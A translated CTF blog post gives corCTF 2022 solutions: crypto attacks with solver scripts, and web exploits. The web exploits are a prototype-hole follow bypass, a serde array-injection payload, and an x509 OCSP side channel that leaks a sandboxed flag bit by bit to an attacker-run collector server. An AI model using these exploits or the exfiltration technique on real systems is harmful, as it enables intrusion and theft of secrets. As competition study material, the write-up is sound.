corCTF 2022 WriteUps

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

This time I participated in corCTF, which I heard had interesting problems last year but couldn't participate in. Although it was still a joint team of TSJ and thehackerscrew, we only got second place this time.

crypto

exchanged

This problem has a set of public LCG parameters a,b,pa,b,p and an initial value ss, with the update function defined as f(s)=as+bf(s) = as + b. Then, using the iterated function of f(s)f(s), a Diffie-Hellman key exchange is defined. To solve this problem, you need to be able to find nn given y=fn(s)y=f^n(s).

The method is to write it as f(s)t=a(st)f(s)-t=a(s-t), so t=b/(1a)t=b/(1-a). At this point, we have fn(s)t=an(st)f^n(s)-t=a^n(s-t). Since p1p-1 is smooth, we can directly solve the discrete logarithm (dlog).

from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256

p = 142031099029600410074857132245225995042133907174773113428619183542435280521982827908693709967174895346639746117298434598064909317599742674575275028013832939859778024440938714958561951083471842387497181706195805000375824824688304388119038321175358608957437054475286727321806430701729130544065757189542110211847
a = 118090659823726532118457015460393501353551257181901234830868805299366725758012165845638977878322282762929021570278435511082796994178870962500440332899721398426189888618654464380851733007647761349698218193871563040337609238025971961729401986114391957513108804134147523112841191971447906617102015540889276702905
b = 57950149871006152434673020146375196555892205626959676251724410016184935825712508121123309360222777559827093965468965268147720027647842492655071706063669328135127202250040935414836416360350924218462798003878266563205893267635176851677889275076622582116735064397099811275094311855310291134721254402338711815917
s = 35701581351111604654913348867007078339402691770410368133625030427202791057766853103510974089592411344065769957370802617378495161837442670157827768677411871042401500071366317439681461271483880858007469502453361706001973441902698612564888892738986839322028935932565866492285930239231621460094395437739108335763
A = 27055699502555282613679205402426727304359886337822675232856463708560598772666004663660052528328692282077165590259495090388216629240053397041429587052611133163886938471164829537589711598253115270161090086180001501227164925199272064309777701514693535680247097233110602308486009083412543129797852747444605837628
B = 132178320037112737009726468367471898242195923568158234871773607005424001152694338993978703689030147215843125095282272730052868843423659165019475476788785426513627877574198334376818205173785102362137159225281640301442638067549414775820844039938433118586793458501467811405967773962568614238426424346683176754273
ct = bytes.fromhex(
    "e0364f9f55fc27fc46f3ab1dc9db48fa482eae28750eaba12f4f76091b099b01fdb64212f66caa6f366934c3b9929bad37997b3f9d071ce3c74d3e36acb26d6efc9caa2508ed023828583a236400d64e"
)

F = GF(p)
t = F(b / (1 - a))


def dlog(y, g):
    return ZZ(F((y - t) / (g - t)).log(a))


def mul(s, n):
    return ZZ(F(a) ** n * F(s - t) + t)


s1 = mul(B, dlog(A, s))
print(s1)
s2 = mul(A, dlog(B, s))
print(s1)

key = sha256(long_to_bytes(s1)).digest()[:16]
print(unpad(AES.new(key, AES.MODE_CBC, iv=ct[:16]).decrypt(ct[16:]), 16))
# corctf{th1s_lcg_3xch4ng3_1s_4_l1ttl3_1ns3cur3_f0r_n0w}

Another method is to solve the matrix dlog, using a method similar to the fast exponentiation of the Fibonacci matrix to obtain this matrix:

[ab01]\begin{bmatrix} a & b \\ 0 & 1 \end{bmatrix}

Then, using the Jordan form to find the general term, we can solve the dlog.

Later, I saw a method that doesn't require dlog:

At=ada(st)Bt=adb(st)St=ada+db(st)\begin{aligned} A-t = a^{d_a} (s-t) \\ B-t = a^{d_b} (s-t) \\ S-t = a^{d_a + d_b} (s-t) \end{aligned}

Where A,BA,B are public keys, and SS is the target shared secret, so S=(At)(Bt)(st)1S = (A-t)(B-t)(s-t)^{-1}.

hidE

First, use time to seed random, then randomly generate ee multiple times using the same RSA nn to encrypt the flag. So, brute force the possible ee and see if the common modulus attack works.

from pwn import *
from Crypto.Util.number import *
from time import time
from random import Random

# io = process(["python", "main.py"])
io = remote("be.ax", 31124)
io.recvuntil(b"Your modulus is: ")
n = int(io.recvline())


def getflag():
    io.sendlineafter(b"option: ", b"1")
    io.recvuntil(b"flag: ")
    return bytes_to_long(bytes.fromhex(io.recvlineS().strip()))


start = int(time())
c1, c2 = getflag(), getflag()


def attack(c1, c2, e1, e2):
    g, a, b = xgcd(e1, e2)
    if g != 1:
        return
    return power_mod(c1, a, n) * power_mod(c2, b, n) % n


for t in range(start - 10, start + 5):
    rng = Random(t)
    es = [rng.randint(1, n) for _ in range(10)]
    for i in range(len(es)):
        for j in range(i, len(es)):
            m = attack(c1, c2, es[i], es[j])
            if m is not None and b"corctf{" in long_to_bytes(m):
                print(long_to_bytes(m))
                exit()
# corctf{y34h_th4t_w4snt_v3ry_h1dd3n_tbh_l0l}

generous

This problem has a mysterious RSA-like encryption system using n=p2qn=p^2q, and it gives you a decryption oracle that only provides the LSB. After carefully observing the key generation and decryption, it looks very similar to the Paillier cryptosystem, and testing shows it also has homomorphic properties. So, using addition and division, you can use the oracle to leak the flag bit by bit from the LSB.

from pwn import *
from random import randrange
from Crypto.Util.number import *

# io = process(['python', 'generous.py'])
io = remote("be.ax", 31244)
io.recvuntil(b'n = ')
n = int(io.recvlineS())
io.recvuntil(b'g = ')
g = int(io.recvlineS())
io.recvuntil(b'h = ')
h = int(io.recvlineS())
pub = (n, g, h)
io.recvuntil(b'Encrypted Flag: ')
c = int(io.recvlineS())

def encrypt(pubkey, m):
	n, g, h = pubkey
	r = randrange(1, n)
	c = pow(g, m, n) * pow(h, r, n) % n
	return c

def oracle(c):
    io.sendlineafter(b'Enter ciphertext> ', str(c).encode())
    io.recvuntil(b'Oracle result: ')
    return int(io.recvlineS())

bs = []
while True:
    b = oracle(c)
    bs.append(b)
    c = (c * encrypt(pub, -b))%n
    c = pow(c,pow(2,-1,n),n)
    print(unbits(bs[::-1]))
# corctf{see?1_bit_is_very_generous_of_me}

Additionally, this problem can also be solved using a method similar to the RSA parity oracle, directly recovering pp and then decrypting: https://jsur.in/posts/2022-08-08-corctf-2022-crypto-writeups#generous

Another interesting method is to treat the parity oracle's output as binary digits and then use continued fractions to recover: https://remyoudompheng.github.io/ctf/corctf2022/generous.html

corrupted-curves

Note: Please read corrupted-curves+ first

Similar to corrupted-curves+, this problem's oracle allows you to freely choose xx, but ee is 64 bits, and the number of oracle calls is limited to 64.

In short, we still collect equations, but this time there are 64+64+264+64+2 unknowns, and we can only get 6464 equations, meaning we can't use Gaussian elimination to solve it.

My method is to first eliminate at,bta_t, b_t using the resultant, leaving 64+6464+64 unknowns and 6262 equations, where the unknowns are ai,bia_i, b_i, so they are 0,10,1.

This is similar to this writeup, where we try to solve it using LLL. However, directly using the 6262 equations matrix is too large, and LLL can't run it. Testing shows that about 16 equations are enough to get a unique result in a reasonable time.

from pwn import *
from Crypto.Util.number import long_to_bytes

# context.log_level = "debug"

# io = process(["python", "corruptedcurves.py"])
io = remote("be.ax", 31345)
io.recvuntil(b"p = ")
p = ZZ(io.recvline())
io.recvuntil(b"flag y = ")
flag_y = ZZ(io.recvline())
F = GF(p)


def get():
    while True:
        x = randint(2**384, p - 2**384)
        io.sendlineafter(b"x = ", str(x).encode())
        io.recvuntil(b"e = ")
        e = ZZ(io.recvline())
        r = io.recvline()
        if b":(" in r:
            continue
        y = ZZ(r.split(b" = ")[-1])
        return x, y, e


def ecc(a, b, x, y):
    return y ^ 2 - (x ^ 3 + a * x + b)


varnames = ",".join(
    ["at", "bt"] + [f"a{i}" for i in range(64)] + [f"b{i}" for i in range(64)]
)
P = PolynomialRing(F, varnames)
at, bt = P.gens()[:2]
aa = P.gens()[2 : 2 + 64]
bb = P.gens()[-64:]

from tqdm import tqdm

polys = []
for _ in tqdm(range(64)):
    x, y, e = get()
    aaa = [a if x == "0" else 1 - a for a, x in zip(aa, f"{e:064b}"[::-1])]
    bbb = [b if x == "0" else 1 - b for b, x in zip(bb, f"{e:064b}"[::-1])]
    aaaa = at * 2 ^ 64 + sum([x * 2 ^ i for i, x in enumerate(aaa)])
    bbbb = bt * 2 ^ 64 + sum([x * 2 ^ i for i, x in enumerate(bbb)])
    f = ecc(aaaa, bbbb, x, y)
    polys.append(f)
pp = []
for f, g in zip(polys, polys[1:]):
    pp.append(f.sylvester_matrix(g, at).det())
ppp = []
for f, g in zip(pp, pp[1:]):
    ppp.append(f.sylvester_matrix(g, bt).det())

# LLL of large matrix is really slow
M, v = Sequence(ppp[:16]).coefficient_matrix()
print(vector(v))
M = M.T.dense_matrix()
nr, nc = M.dimensions()
print(nr, nc)
B = block_matrix(
    ZZ, [[matrix.identity(nc) * p, matrix.zero(nc, nr)], [M, matrix.identity(nr)]]
)
B[:, :nc] *= 2 ^ 512
print(B.dimensions())
B = B.LLL()
print(B[0][nc:-1])

sol = B[0][nc:-1]
raa = list(sol[:64])
rbb = list(sol[64:])
bt = (
    pp[0]
    .subs({s: v for s, v in zip(aa + bb, raa + rbb)})
    .univariate_polynomial()
    .roots(multiplicities=False)[0]
)
at = (
    polys[0]
    .subs({s: v for s, v in zip(aa + bb, raa + rbb)})
    .subs(bt=bt)
    .univariate_polynomial()
    .roots(multiplicities=False)[0]
)
a = ZZ((at * 2 ^ 64 + sum([x * 2 ^ i for i, x in enumerate(raa)])))
b = ZZ((bt * 2 ^ 64 + sum([x * 2 ^ i for i, x in enumerate(rbb)])))
print(a)
print(b)

P = PolynomialRing(F, "x")
x = P.gen()
f = x ^ 3 + a * x + b - flag_y ^ 2
for x in f.roots(multiplicities=False):
    print(long_to_bytes(ZZ(x)))
# corctf{i_h0pe_you_3njoyed_p1ecing_t0geth3r_th4t_curv3_puzz1e_:)}

threetreasures

The flag is divided into three parts a,b,ca,b,c, each 125 bits. There is an unknown 1024 bits n=pqn=pq, and a point GG on the curve y2=x3+ax+by^2 = x^3 + ax + b over Fp\mathbf{F}_p, satisfying 3G=O3G=O. The cc part is directly encrypted with e=65537e=65537 RSA.

The key is to use 3G=O3G=O to get 2G=G2G=-G, so 2G2G and G-G have the same x-coordinate. By treating a,ba,b as unknowns and equating the x-coordinates of the two points, we get a quadratic polynomial with aa as the root. Since aa is only 125 bits, we can use the Coppersmith method to solve it at approximately β0.5\beta \approx 0.5.

However, testing shows that this bound is very tight, requiring a very large LLL matrix, which is impractical. So, we can use the fact that aa is the first part of the flag, which has the known prefix corctf{, making the unknown part much smaller and easier to solve with Coppersmith.

Some people also mentioned that you can directly brute force the 5 bits of the LSB, and then solve it with Coppersmith 32 times.

After obtaining aa, substitute it back into the polynomial to get pp, then get bb, and finally decrypt cc.

from Crypto.Util.number import *

n = 97915144495462666300795364589570761584322186881492143950078938328867290046424857019504657598883431857075772605985768551863478086544857915637724181292135280539943713583281151707224031808445390796342632369109562433275679473233398168787639940620683354458292117457239552762694657810883738834935391913698852811737
ct = 20363336204536918055183609604474634074539942561101208682977506918349108499764147141944713060658857301108876346227077713201766486360148051069618774935469969057808945271860025712869868421279488925632657486125211168314387620225601572070169746014988350688548088791906161773656057212229972967244998930356157725393
x, y = (
    3115938227771961657567351113281194074601897467086373590156577019504528350118731801249444974253028485083440228959842232653488953448859690520619223338133881,
    2665631524518629436093690344927156713668794128141943350227439039472817541262750706395352700109556004195261826476428128993836186741129487842876154876730189,
)
fbits = 375
piece_bits = fbits // 3
fbytes = (fbits + 7) // 8
prefix = b"corctf{"
atop = bytes_to_long(prefix + (fbytes - len(prefix)) * b"\x00") >> (2 * piece_bits)

P = PolynomialRing(QQ, "a")
a = P.gen()
a += atop


def add(P, Q):
    x1, y1 = P
    x2, y2 = Q
    if x1 != x2:
        s = (y2 - y1) / (x2 - x1)
    else:
        s = (3 * x1 ^ 2 + a) / (2 * y1)
    x3 = s ^ 2 - x1 - x2
    y3 = -(y1 + s * (x3 - x1))
    return x3, y3


# 3G = O
# G + G = -G
# xcoord(2G) = xcoord(-G) = xcoord(G)
xx, yy = add((x, y), (x, y))
g = (xx - x).change_ring(Zmod(n))
X = 2 ^ (125 - 8 * len(prefix))
beta = 0.5
eps = (beta ^ 2 / g.degree() - log(2 * X, n)).n()
alow = g.monic().small_roots(X=X, epsilon=eps, beta=beta)[0]
a = ZZ(atop + alow)
p = gcd(ZZ(g(alow)), n)
q = n // p
b = ZZ(y ^ 2 - (x ^ 3 + a * x)) % p
c = power_mod(ct, inverse_mod(65537, (p - 1) * (q - 1)), n) >> (512 - piece_bits)
flag = (a << (2 * piece_bits)) + (b << piece_bits) + c
print(long_to_bytes(flag))
# corctf{you_have_conquered_the_order_of_three!!}

corrupted-curves+

The problem involves an unknown elliptic curve y2=x3+ax+by^2 = x^3 + ax + b over Fp\mathbf{F}_p, and an oracle that randomly generates a 48-bit ee to get another curve y2=x3+(ae)x+(be)y^2 = x^3 + (a \oplus e)x + (b \oplus e), then gives you any point (x,y)(x,y) on it. The oracle can be called up to 2022 times.

The flag is the xx coordinate of a point (x,y)(x,y) on the original curve, and the problem only gives you yy, so you need to know a,ba,b to deduce xx.

My method is to denote the low 48 bits of a,ba,b as ai,bia_i,b_i, and the remaining top bits as at,bta_t,b_t. For a known ee:

(ae)=248at+i=0472if(ai,ei)(a \oplus e) = 2^{48} a_t + \sum_{i=0}^{47} 2^i f(a_i, e_i)

Where ff represents bitwise XOR, which can be written mathematically as:

f(ai,ei)={ai,if ei=01ai,otherwisef(a_i,e_i)= \begin{cases} a_i, &\text{if } e_i = 0\\ 1 - a_i, &\text{otherwise} \end{cases}

This concept is from TSJ CTF 2022 (II): Signature, but you can also use my own writeup for that problem.

Now, since aea \oplus e and beb \oplus e can be expressed as linear combinations of unknowns, we can collect more than 48+48+248+48+2 equations and use Gaussian elimination to solve for a,ba,b.

from pwn import *
from Crypto.Util.number import long_to_bytes

# context.log_level = "debug"

# io = process(["python", "corruptedcurvesplus.py"])
io = remote("be.ax", 31132)
io.recvuntil(b"p = ")
p = ZZ(io.recvline())
io.recvuntil(b"flag y = ")
flag_y = ZZ(io.recvline())
F = GF(p)


def get_y(x):
    io.sendlineafter(b"x = ", str(x).encode())
    try:
        io.recvuntil(b"y = ", timeout=1)
        return ZZ(io.recvline())
    except:
        return get_y(x)


io.send(b"\n" * 8763)


def get():
    while True:
        try:
            r = io.recvuntil(b"more> ").splitlines()
            e = ZZ(r[-4].split(b" = ")[-1])
            x = ZZ(r[-3].split(b" = ")[-1])
            y = ZZ(r[-2].split(b" = ")[-1])
            return x, y, e
        except:
            pass


def ecc(a, b, x, y):
    return y ^ 2 - (x ^ 3 + a * x + b)


varnames = ",".join(
    ["at", "bt"] + [f"a{i}" for i in range(48)] + [f"b{i}" for i in range(48)]
)
P = PolynomialRing(F, varnames)
at, bt = P.gens()[:2]
aa = P.gens()[2 : 2 + 48]
bb = P.gens()[-48:]


from tqdm import tqdm

polys = []
for _ in tqdm(range(2 + 48 + 48)):
    x, y, e = get()
    aaa = [a if x == "0" else 1 - a for a, x in zip(aa, f"{e:048b}"[::-1])]
    bbb = [b if x == "0" else 1 - b for b, x in zip(bb, f"{e:048b}"[::-1])]
    aaaa = at * 2 ^ 48 + sum([x * 2 ^ i for i, x in enumerate(aaa)])
    bbbb = bt * 2 ^ 48 + sum([x * 2 ^ i for i, x in enumerate(bbb)])
    f = ecc(aaaa, bbbb, x, y)
    polys.append(f)
M, v = Sequence(polys).coefficient_matrix()
sol = vector(M[:, :-1].solve_right(-M[:, -1]))
print(sol)
at, bt = sol[:2]
aa = sol[2 : 2 + 48]
bb = sol[-48:]
a = ZZ((at * 2 ^ 48 + sum([x * 2 ^ i for i, x in enumerate(aa)])))
b = ZZ((bt * 2 ^ 48 + sum([x * 2 ^ i for i, x in enumerate(bb)])))
print(a)
print(b)

P = PolynomialRing(F, "x")
x = P.gen()
f = x ^ 3 + a * x + b - flag_y ^ 2
for x in f.roots(multiplicities=False):
    print(long_to_bytes(ZZ(x)))
# corctf{cr4ftin6_f3as1ble_brut3s_unt1l_y0u_mak3_it!}

rlfsr

There is a 128-bit LFSR, which outputs in groups of 128 bits shuffled before outputting, with a total of 118 groups.

The key is to use the property that shuffling does not change the sum mod2\mod{2} of each group, then use Gaussian elimination to get a solution and a rank 10 kernel, representing the 10 unknown bits.

This part is simply brute-forcing the 10 bits to see which one is the AES key, and then decrypting the flag.

from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from tqdm import tqdm
import itertools

with open("output.txt", "rb") as f, open("fixed.txt", "w") as f2:
    f2.write(f.read()[2:].decode("utf-16-le"))

with open("fixed.txt") as f:
    c = int(f.readline().strip(), 16)
    c = f"{c:0{118*128}b}"[::-1]
    c = [c[i : i + 128] for i in range(0, len(c), 128)]
    out = [sum([int(y) for y in x]) % 2 for x in c]
    ct = bytes.fromhex(f.readline().strip())
    iv, ct = ct[:16], ct[16:]


taps = [1, 2, 7, 3, 12, 73]
P = PolynomialRing(GF(2), "x")
x = P.gen()
f = sum([x ^ i for i in taps]) + x ^ 128
M = companion_matrix(f, "bottom")
M128 = M ^ 128

P = PolynomialRing(GF(2), ",".join([f"k{i}" for i in range(128)]))
s = vector(P.gens())
eqs = []
for i in tqdm(range(118), desc="progress"):
    eqs.append(sum(s) - out[i])
    s = M128 * s

M, v = Sequence(eqs).coefficient_matrix()
M = M.dense_matrix()
sol0 = vector(M[:, :-1].solve_right(-M[:, -1]))
ker = M[:, :-1].right_kernel().basis_matrix()

for z in itertools.product([0, 1], repeat=ker.dimensions()[0]):
    sol = sol0 + vector(GF(2), z) * ker
    kk = sum([x * 2 ^ i for i, x in enumerate(sol[::-1].change_ring(ZZ))])
    aeskey = sha256(int(kk).to_bytes(16, "big")).digest()[:32]
    cip = AES.new(aeskey, AES.MODE_CBC, iv=iv)
    flag = cip.decrypt(ct)
    if b"corctf{" in flag:
        print(unpad(flag, 16))
# corctf{m4yb3_w3_sh0uld_ju5t_cut_hum4n5_0ut_0f_th1s_c0mpl3t3ly_1f_th3y_d3c1d3_t0_f4k3_shuffl3_0r_s0m3th1ng}

web

friends

This problem has a node.js server, and the goal is to be followed by the admin to get the flag. However, from the logic, there doesn't seem to be any issues, nor are there any other potential vulnerabilities like prototype pollution.

After spending a long time looking at the code, I found the problematic point while testing some things and formatting the problem's file with prettier:

  const mine = followers.get(req.username)

  // force all params to be strings for safety
  [body.u, body.r, body.n] = params.map(
    p => (body[p] ?? '').toString()
  )

The above is a piece of code in /follow, which looks quite normal, but after formatting, it becomes:

	const mine = (followers.get(req.username)[
		// force all params to be strings for safety
		(body.u, body.r, body.n)
	] = params.map(p => (body[p] ?? '').toString()))

This is because, although JavaScript generally has ASI (Automatic Semicolon Insertion) that allows you to omit semicolons, in some specific characters, you still need to separate them, or there will be ambiguity. Here, the missing ; between ) and [ means:

followers.get(req.username)[body.n] = params.map(p => (body[p] ?? '').toString()))

To get the flag, you need to have admin in your followers:

  // get followers
  const mine = followers
    .get(req.username)
    .filter(v => v !== undefined)

  if (mine.includes('admin')) {
    // lock the account so people don't stumble onto the flag
    users.set(req.username, crypto.randomBytes(16).toString('hex'))

    // give the flag
    return res.send(
      `Endorsed by the admin?! Here's your flag: ${process.env.FLAG}`
    )
  }

Comparing with that piece of code, we know it is equivalent to params.map(p => (body[p] ?? '').toString())), and the result of map is an array, so simply filling body.n with a number won't work; we need to think of other methods.

After some thought, I saw this in /remove:

  // delete is convenient and safe for -1 index
  // no check needed
  const theirs = followers.get(user)
  delete theirs[theirs.indexOf(req.username)]

Since delete on an array index only creates a hole without changing the length, and built-in functions will look up the prototype chain when called, we can bypass it by making an index disappear and pointing its __proto__ to another array. Example:

ar = [1]
ar.__proto__ = ['admin']
delete ar[0]
console.log(ar.includes('admin'))  // true

Then, we can write a script to do this:

import httpx

host = "https://web-friends-b72ffb6a51e00042.be.ax"
c1 = httpx.Client(base_url=host)
c2 = httpx.Client(base_url=host)

c1.post("/login", data={"u": "supernene", "p": "supernene", "c": "supernene"})
c2.post("/login", data={"u": "elitemiko", "p": "elitemiko", "c": "elitemiko"})

c2.post("/follow", data={"u": "supernene", "r": "supernene", "n": "supernene"})
c1.post("/follow", data={"u": "admin", "r": "r", "n": "__proto__"})
c2.post("/remove", data={"u": "supernene"})
print(c1.get("/user").text)
# corctf{friendship_is_magic_colon_sparkles_colon}

Later, I also saw a method that doesn't use delete, where JavaScript creates a hole in ar = []; ar[1] = 'peko', and then using the prototype can also solve it.

If you don't want to write semicolons in JavaScript, remember to add semicolons before +-[(/, so you won't have this problem (source).

rustshop

This problem is a Rust problem, a simple shop where you need to reach a specified amount of money and a certain number of items to get the flag, but the logic seems flawless on the surface.

The registration function is as follows:

async fn register_post(Json(body): Json<serde_json::Value>, cookies: Cookies) -> Json<APIResponse> {
    if !utils::validate_body(&body, &["username", "password"]) {
        return Json(APIResponse {
            status: APIStatus::Error,
            data: None,
            message: Some(String::from("Invalid input")),
        });
    }

    let mut user: User = match serde_json::from_value(body) {
        Ok(user) => user,
        Err(_) => {
            return Json(APIResponse {
                status: APIStatus::Error,
                data: None,
                message: Some(String::from("Missing username or password")),
            })
        }
    };

    if user.username.len() < 5 || user.password.len() < 7 {
        return Json(APIResponse {
            status: APIStatus::Error,
            data: None,
            message: Some(String::from("Username or password too short")),
        });
    }

    if DB.contains_key(&user.username) {
        return Json(APIResponse {
            status: APIStatus::Error,
            data: None,
            message: Some(String::from("A user already exists with that username")),
        });
    }

    user.password = utils::sha256(user.password);

    let username = user.username.to_string();
    let session_cookie = utils::randstr(64);

    SESSIONS.insert(session_cookie.to_string(), username.to_string());
    cookies.add(Cookie::new("session", session_cookie));
    DB.insert(username, user);

    Json(APIResponse {
        status: APIStatus::Success,
        data: None,
        message: None,
    })
}

It validates the incoming JSON to see if it contains certain values, then deserializes it into a User, performs some checks, and if passed, inserts the user into the DB.

Looking into validate_body, we see:

pub fn validate_body(body: &serde_json::Value, allowed: &[&str]) -> bool {
    if let Some(body) = body.as_object() {
        if body.keys().any(|key| !allowed.contains(&key.as_str())) {
            return false;
        }
    }
    true
}

It checks if all keys in the object are only those in allowed, but there's a logical flaw here. When body.as_object() is None, it won't enter the if, so it directly returns true. Testing confirms this happens when the body is an array, number, string, etc.

The deserialized User structure looks like this:

#[derive(Serialize, Deserialize, Clone, Debug)]
pub struct User {
    pub username: String,
    pub password: String,
    #[serde(default)]
    pub items: Vec<PurchasedItem>,
    #[serde(default = "default_money")]
    pub money: i32,
}

It contains the username, password, items, and money. If we can somehow overwrite items and money during deserialization, we can get the flag, but to pass validate_body, we can't use an object.

Checking the official documentation, we find that serde can directly deserialize an array into a struct in order, which is exactly what we need. So, we can get the flag like this:

await fetch('/api/register', {
	method: 'POST',
	credentials: 'include',
	headers: {
		'Content-Type': 'application/json'
	},
	body: JSON.stringify([
		'elitemiko',
		'elitemiko',
		[
			{ 
				name: 'rustshop flag',
				quantity: 0x42069
			}
		],
		0x13371337
	])
}).then(r => r.json())
await fetch('/api/flag').then(r => r.json())
// corctf{we_d0_s0me_s3rde_shen4nigans}

sndbx

This problem is quite unique. It has a dedicated domain https://daplie.me/, and its TLS cert is signed by its own CA. Connecting to it allows you to create a sandbox, providing a subdomain and asking you to provide a CSR (Certificate Signing Request) and private key. The subdomain can then be accessed via HTTPS (also signed by the custom CA).

Generating these things can be done with two commands:

openssl ecparam -genkey -name prime256v1 -out domain.key  # Private key
openssl req -new -sha256 -key private.key -subj '/CN=4n3noitrpnz4t1bl2us6sq.daplie.me' -addext "subjectAltName = DNS:4n3noitrpnz4t1bl2us6sq.daplie.me" > domain.key  # CSR

This allows the new subdomain to pass authentication in the browser using the custom CA.

The subdomain's static content at / can be freely modified, but the entire *.daplie.me site enforces this CSP:

default-src 'self' *.daplie.me; script-src 'unsafe-inline' 'unsafe-eval'; style-src 'unsafe-inline'

The problem's bot uses Firefox Nightly 102.0 and accepts their custom CA. You can provide a piece of JavaScript, and the bot will visit the castle:

page.goto(f'{config.CASTLE_BASE}?eval={quote(script)}&flag={config.FLAG}')

config.CASTLE_BASE is https://castle.daplie.me/

The HTML looks like this:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>moat</title>
</head>
<body>
<script>
const iframe = document.createElement('iframe');
iframe.sandbox = 'allow-scripts';
iframe.srcdoc = `<script>window.flag = '${new URLSearchParams(window.location.search).get('flag')}'</script\>
<script>${new URLSearchParams(window.location.search).get('eval')}</script\>`;
document.body.appendChild(iframe);
</script>
</body>
</html>

It simply puts your JS and the flag into an iframe sandbox for execution, but still subject to the above CSP. The CSP completely restricts methods like fetch or new Image to transmit the flag, and X-Frame-Options: SAMEORIGIN prevents methods like modifying location.href, while the iframe sandbox itself also prohibits window.open related techniques.

Another idea is to see if we can use the controllable subdomain to do something, like CSRF to modify subdomain content to transmit the flag, etc. However, this quickly hits the X-Frame-Options: SAMEORIGIN restriction, so this route is also blocked.

Later, the author hinted that it was related to x509, leading me to research the certificate part. The server accepts the CSR and signs it with the CA's private key:

def generate(csr):
	cert = x509.CertificateBuilder()
	cert = cert.subject_name(csr.subject)
	cert = cert.issuer_name(ca.issuer)
	cert = cert.public_key(csr.public_key())
	cert = cert.serial_number(x509.random_serial_number())
	cert = cert.not_valid_before(datetime.datetime.today())
	cert = cert.not_valid_after(datetime.datetime(2030, 1, 1))

	for extension in csr.extensions:
		cert = cert.add_extension(extension.value, extension.critical)

	return cert.sign(private_key, hashes.SHA256())

The most suspicious part here is the extensions, as it accepts any extension you specify and signs it directly. Researching x509 and extensions, I found this article, which explains what some extensions do and lists some common ones.

One major extension is SAN (Subject Alternate Name), which is the subjectAltName part in the previous openssl command. The browser uses this part to determine if a certificate is valid for a domain.

Next, I researched other websites like google.com's x509 to see if there was anything interesting. This can be done with openssl:

openssl s_client -showcerts -servername google.com -connect google.com:443 2>/dev/null | openssl x509 -inform pem -noo
ut -text

Inside, I saw an interesting URL:

            Authority Information Access:
                OCSP - URI:http://ocsp.pki.goog/gts1c3
                CA Issuers - URI:http://pki.goog/repo/certs/gts1c3.der

Researching, I found that OCSP (Online Certificate Status Protocol) is the successor to CRL (Certificate Revocation List), allowing clients to query the CA about the certificate's status, such as whether it has been revoked, providing the ability to revoke unsafe certificates. Thus, the OCSP URL points to the CA's server.

This part might not be entirely accurate, just my shallow understanding.

This led me to think about what would happen if we set the OCSP URL to our own server. After some experiments, I found that Firefox indeed sends an HTTP POST request to the OCSP server the first time it encounters a certificate, looking like this:

POST /ocsp HTTP/1.1
Host: REDACTED
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 87
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

GARBAGE

However, subsequent queries are cached, so no additional requests are made. Restarting the browser clears the cache. Testing on the remote bot confirmed this, providing a side channel primitive we can use.

Since this is just a binary (true, false) primitive, leaking the entire flag isn't convenient. A simple method is to register multiple subdomains, e.g., I pre-registered 8 subdomains to leak one character (8 bits) at a time, each pointing to different OCSP URLs representing different bits being 0 or 1.

Generating subdomains script:

from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import (
    NameOID,
    ExtendedKeyUsageOID,
    AuthorityInformationAccessOID,
)

def gen(ocsp_url, ca_url):
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
    )
    builder = x509.CertificateSigningRequestBuilder()
    builder = builder.subject_name(
        x509.Name(
            [
                x509.NameAttribute(NameOID.COMMON_NAME, "*.daplie.me"),
            ]
        )
    )
    builder = builder.add_extension(
        x509.SubjectAlternativeName([x509.DNSName("*.daplie.me")]), critical=False
    )
    builder = builder.add_extension(
        x509.ExtendedKeyUsage([ExtendedKeyUsageOID.OCSP_SIGNING]), critical=False
    )
    builder = builder.add_extension(
        x509.AuthorityInformationAccess(
            [
                x509.AccessDescription(
                    AuthorityInformationAccessOID.OCSP,
                    x509.UniformResourceIdentifier(ocsp_url),
                ),
                x509.AccessDescription(
                    AuthorityInformationAccessOID.CA_ISSUERS,
                    x509.UniformResourceIdentifier(ca_url),
                ),
            ]
        ),
        critical=False,
    )
    request = builder.sign(private_key, hashes.SHA256())
    csr = request.public_bytes(serialization.Encoding.PEM)
    priv = private_key.private_bytes(
        serialization.Encoding.PEM,
        serialization.PrivateFormat.PKCS8,
        serialization.NoEncryption(),
    )
    return csr, priv

import httpx

ar = []
for i in range(8):
    csr, priv = gen("http://REDACTED/bit/" + str(i), "http://REDACTED/ca")
    client = httpx.Client(base_url='https://daplie.me', verify=False)
    client.post('/create')
    r = client.post('/add', data={
        'csr': csr.decode(),
        'priv': priv.decode(),
    })
    u = r.text.split('<span class="code">')[1].split('</span>')[0]
    print(i)
    print(u)
    print()
    ar.append(u)
print(ar)

The server part is a simple Flask app to collect bit information:

from flask import Flask
import logging

app = Flask(__name__)
app.logger.setLevel(logging.INFO)

bits = [0] * 8


@app.route("/bit/<n>", methods=["POST"])
def bit(n):
    bits[int(n)] = 1
    app.logger.info(bits)
    app.logger.info(chr(int("".join(map(str, bits[::-1])), 2)))
    return ""


app.run(host="0.0.0.0", port=80)

The JS sent to the bot running in the castle's sandbox is simple, just determining bits and deciding whether to send an OCSP request. Then, manually modify the index and slowly leak the flag character by character.

const urls = [
	'adskeijoftisltjsmafdka.daplie.me',
	'loqygyu03-c63wtg5pa9ja.daplie.me',
	'xuz4rnbfa2_w7hyztxk0wa.daplie.me',
	'pdvlygbkm1_f6w1xwwbiig.daplie.me',
	'hqv7fki-8yuq7vrsarfxpg.daplie.me',
	'bhd-psznuerilr9guvirdw.daplie.me',
	'g36jgxy49ydyk1pm86djdq.daplie.me',
	'ztnoo5ddk18mzxdjl5cvsg.daplie.me'
]
;(async () => {
	const c = flag.charCodeAt(0) // change this to leak other flag char
	for (let i = 7; i >= 0; i--) {
		if ((c >> i) & 1) {
			new Image().src = 'https://' + urls[i]
		}
	}
})()

